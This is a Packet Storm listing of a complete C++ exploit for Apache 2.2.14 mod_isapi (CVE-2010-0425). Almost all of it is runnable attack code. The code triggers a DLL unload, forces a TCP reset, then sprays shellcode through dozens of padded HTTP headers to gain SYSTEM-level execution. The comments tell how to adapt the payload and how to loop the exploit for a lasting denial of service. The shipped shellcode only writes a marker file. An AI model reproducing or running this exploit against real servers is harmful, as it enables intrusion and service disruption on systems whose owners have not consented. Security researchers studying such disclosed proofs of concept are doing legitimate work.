Apache 2.2.14 mod_isapi Remote SYSTEM Exploit

2010-03-06T00:00:00
ID PACKETSTORM:86964
Type packetstorm
Reporter Brett Gervasoni
Modified 2010-03-06T00:00:00

Description

                                        
                                            `/*  
* Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)  
* ------------------------------------------------------------------------------  
*  
* Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002  
*   
* Description:  
* pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.  
* Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential   
* Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause   
* a constant DoS by looping this (since apache will automatically restart) :)  
*  
* Note that the exploit code may need to be run multiple times before a shell is spawned (70%  
* success rate - tested on three different systems). Furthermore, the exploit code may require   
* modification to exploit this vulnerability on different platforms. This is due to loaded memory   
* references to the unloaded DLL (they will be different for each ISAPI module). Do not test  
* this code in a VM otherwise the code may fail to send the RESET packet (something to do with  
* VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want  
* to have to use raw packets on Windows.   
*  
* Shellcode Note:   
* The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory.   
* Most operating systems should be supported by this shellcode. I've used Skylined's method of finding  
* the base address of kernel32.dll for Windows 7 and modified it so that it will find the base   
* address of msvcrt.dll instead. I've also added another check so that it will be able to detect  
* "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this  
* DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of   
* msvcrt.dll. So the added check will verify the presents of "m" before proceeding.   
*  
* Author:   
* Brett Gervasoni (brettg [at] senseofsecurity.com.au)  
*  
* Copyright Sense of Security Pty Ltd 2010.   
* http://www.senseofsecurity.com.au  
*/  
  
#include <iostream>  
#include <windows.h>  
#include <winsock.h>  
#include <string>  
#include <direct.h>  
  
#pragma comment(lib, "wsock32.lib")  
  
using namespace std;  
  
#define SERVER_PORT 80  
  
void header();  
int createConnection(string targetAddr, int targetPort);  
int sendTransmission(string message);  
string recvTransmission();  
void cleanUp();  
  
WORD sockVersion;  
WSADATA wsaData;  
  
int sock;  
struct sockaddr_in rserver;  
  
int main(int argc, char *argv[])  
{  
string serverIP, isapiDLL;  
string triggerVuln, payload;  
char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];  
  
//custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory  
//Note: There are four NOPs at the end for padding. Not really needed.   
char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"  
"\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"  
"\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"  
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"  
"\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"  
"\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"  
"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"  
"\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"  
"\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"  
"\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"  
"\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"  
"\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"  
"\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"  
"\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"  
"\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"  
"\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";  
  
header();  
  
if (argc < 3)  
{  
printf("usage: %s <ip> <DLL>\n", argv[0]);  
return 1;  
}  
  
serverIP = string(argv[1]);  
isapiDLL = string(argv[2]);  
  
//all these values could be set to 7601 + sizeof(shellcode)  
//but mixing it up is good.   
memset(accept, 'A', 170);  
memset(referer, 'A', 732);  
memset(cookie, 'A', 5375);  
memset(random, 'A', 7603);  
memset(postData, 'A', 23378);  
memset(footer, 'A', 298);  
  
triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"  
"User-Agent: AAAAAAAA\r\n"  
"Pragma: no-cache\r\n"  
"Proxy-Connection: Keep-Alive\r\n"  
"Host: " + serverIP + "\r\n"  
"Content-Length: 40334\r\n\r\n" +  
string(footer);  
  
//Modify the below request if needed (depending on where your function pointer is pointing)  
//Do so by adding or removing headers. So if you want to hit a higher function pointer,   
//keep adding headers :)   
//Note: If performing this blindly, try it a few times, change a bit, try again.   
//During testing i found that using a chunk of data the same size with the same header name  
//was more unreliable. In memory, large amounts of nulls are being placed either side of the   
//payload. Since the function pointer address was random, by slightly mixing up the size of   
//each header i would get better results.  
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"  
"Accept: " + string(accept) + "\r\n"  
"Referer: " + string(referer) + string(shellcode) + "\r\n"  
"From: " + string(cookie) + string(shellcode) + "\r\n"  
"Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"  
"Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"  
"Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"  
"UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"  
"Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"  
"User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"  
"Cookie: " + string(cookie) + string(shellcode) + "\r\n"  
"Host: " + serverIP + "\r\n"  
"Proxy-Connection: Keep-Alive\r\n"  
"Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"  
"Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"  
"Asdasda: " + string(random) + string(shellcode) + "\r\n"  
"Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"  
"Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"  
"Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"  
"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"  
"Content-Length: 25054\r\n\r\n" +   
string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);  
  
//Setup connection  
if (createConnection(serverIP, SERVER_PORT) == 1)  
{  
printf("- an error occurred connecting to the server\n");  
return 1;  
}  
  
printf("[+] Connected to %s.\n", serverIP.c_str());  
  
printf("[+] Setting socket data structure values\n");  
int iOptVal;  
int aiOptVal;  
  
struct linger linger_data;  
  
//This is meant to set closesocket to do a "graceful close",  
//however this is not the case when WSACancelBlockingCall() is called. A RESET packet is   
//sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent.   
linger_data.l_onoff = 0;  
linger_data.l_linger = 0;  
  
setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));  
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));  
  
//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent  
getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);  
getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);  
printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff);  
printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);  
  
printf("[*] Triggering DLL unload\n");  
sendTransmission(triggerVuln);  
  
Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent.   
WSACancelBlockingCall(); //Cause reset packet response  
  
Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...  
closesocket(sock);  
  
Sleep(2000);  
WSACleanup();  
  
Sleep(2000);  
printf("[+] The DLL should be unloaded by now\n");  
  
//Reconnect to deliver payload  
if (createConnection(serverIP, SERVER_PORT) == 1)  
{  
printf("- an error occurred connecting to the server\n");  
return 1;  
}  
  
printf("[*] Sending payload\n");  
sendTransmission(payload);  
  
cleanUp();  
  
printf("[+] Check to see if sos.txt was created...\n");  
  
return 0;  
}  
  
void header()  
{  
printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");  
printf("-------------------------------------------------------------\n");  
printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");  
printf(" Copyright Sense of Security Pty Ltd 2010.\n");  
}  
  
//Setup the server  
int createConnection(string serverIP, int port)  
{  
int result = 0, len = 0;  
  
sockVersion = MAKEWORD(1,1);  
WSAStartup(sockVersion, &wsaData);  
  
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)  
{  
perror("error: socket()\n");  
result = 1;  
}  
  
rserver.sin_family = AF_INET;  
rserver.sin_port = htons(port);  
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());  
memset(&rserver.sin_zero, 0, 8);  
  
len = sizeof(struct sockaddr_in);  
  
if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)  
{  
perror("error: connect()\n");  
result = 1;  
}  
  
return result;  
}  
  
//Send a message  
int sendTransmission(string message)  
{  
int bytes_sent = 0;  
  
bytes_sent = send(sock, message.c_str(), message.length(), 0);  
if (bytes_sent < 0)  
{  
perror("error: send()\n");  
exit(1);  
}  
  
return bytes_sent;  
}  
  
//Receive a message  
string recvTransmission()  
{  
string result;  
char *c = new char[1];  
int bytes_recv = 0;  
  
while (c[0] != NULL)  
{  
bytes_recv = recv(sock, c, 1, 0);  
  
if (bytes_recv < 0)  
{  
perror("error: recv()\n");  
//exit(1);  
}  
  
result += c[0];  
}  
  
return result;  
}  
  
//Clean up the connection  
void cleanUp()  
{  
closesocket(sock);  
WSACleanup();  
}  
`